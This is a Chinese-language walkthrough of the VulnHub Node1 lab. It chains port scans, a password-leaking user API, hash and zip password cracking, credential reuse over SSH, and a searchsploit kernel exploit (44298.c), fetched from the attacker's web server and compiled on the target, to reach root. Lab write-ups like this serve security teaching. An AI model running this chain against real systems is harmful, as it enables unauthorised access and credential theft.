vulnhub靶机Node1
一、有效资产收集
| 资产编号 | 资产分类 | 资产名称 | 资产规格 | 访问地址 | 备注/问题 |
|---|---|---|---|---|---|
| Node1 | 主机系统 | Ubuntu操作系统 | Type:Linux IP:192.168.101.137 Port:22、3000 |
192.168.101.137 | 越权,压缩包爆破,内核提权 |
flag:
==1722e99ca5f353b362556a62bd5e6be0==
访问不到把网络模式改为NAT
二、渗透测试过程
kali攻击机ip为192.168.101.128

1. 信息收集
- 扫描存活主机:目标主机ip为192.168.101.137
1 | arp-scan -l |

或者Netdiscover

- 通过ping进行三层发现,根据ttl=64初步推测该主机为Linux
1 | ping 192.168.101.137 |

- 通过masscan四层发现目标主机开放端口
1 | masscan -p0-65535 --rate=10000 192.168.101.137 |

目标主机只开了两个端口,分别是22和3000端口
扫描目标端口服务
1
nmap -A -p- -sC -T4 -sS -P0 192.168.101.137 -oN nmap.A

- 目标开启了以下端口及服务:
- 22端口,服务为OpenSSH 7.2p2;且系统为Ubunru 4 ubuntu2.2
- 3000端口,服务为Apache。且扫描到了/login路径,猜测是后台登录界面
nodejs默认端口3000,且nodejs是一个基于Chrome JavaScript运行建立的一个平台,基于Google V8引擎,性能很好
使用Nmap中漏洞分类NSE脚本对目标进行探测
1 | nmap -sV --script vuln 192.168.101.137 |
目标web服务为Node.js Express的站,其他漏洞信息没什么有效的,都是Dos(不算洞)

访问目标3000端口 web服务:

访问login路径:但是此页面没测出来弱密码和SQL

2. 越权
在首页源码闲逛时,看到在view-source:http://192.168.101.137:3000/assets/js/app/controllers/home.js下
1 | var controllers = angular.module('controllers'); |
这段代码是一个AngularJS控制器,命名为HomeCtrl,接收scope和http两个参数。控制器中向服务器
/api/users/latest发起GET请求,用then()处理相应并把数据赋给$scope.users
跟随路径到/api/users/latest,看到了用户名及其password的json数据,不过这里只有非管理员用户

再向上一级,找到管理员用户:

将管理员用户myP14ceAdminAcc0uNT的密码dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af拿到somd5解密:

密码为manchester
登录成功,网页中心有Download backup按钮

3. 爆破解压压缩包
下载下来看到是base64编码,解码:
1 | base64 -d myplace.backup > decode.backup |

文件类型为zip:

解压需要密码:

用fcrackzip,字典rockyou进行爆破:
1 | fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt decode.backup |

密码为magicword
4. ssh登录
unzip解压后出现var文件夹:

在app.js中定义的url常量,mark:5AYRft73VtFpc84k@localhost:27017很像ssh登录

尝试进行ssh登录:
1 | ssh mark@192.168.101.137 |

5. ubuntu16.04内核提权
- 查看用户的sudo权限:
1 | sudo -l |

mark用户不能使用sudo
- 查看有suid的命令:
1 | find / -perm -u=s -type f 2>/dev/null |

没有find这种提权的命令
- 查看内核版本及操作系统版本:
1 | uname -a |

内核版本为4.4.0-93,系统版本为ubuntu16.04

- 查看是否存在gcc和版本
1 | gcc --version |

搜索ubuntu 16.04存在的漏洞:

把exp下载到本地:
1 | searchsploit -m 44298.c |

本地用python起一个web服务:
1 | python2 -m SimpleHTTPServer 8000 |

靶机上cd到tmp目录下载exp
1 | cd /tmp |

gcc编译执行exp:
1 | gcc 44298.c -o exp |

在/root目录下找到flag:

flag:==1722e99ca5f353b362556a62bd5e6be0==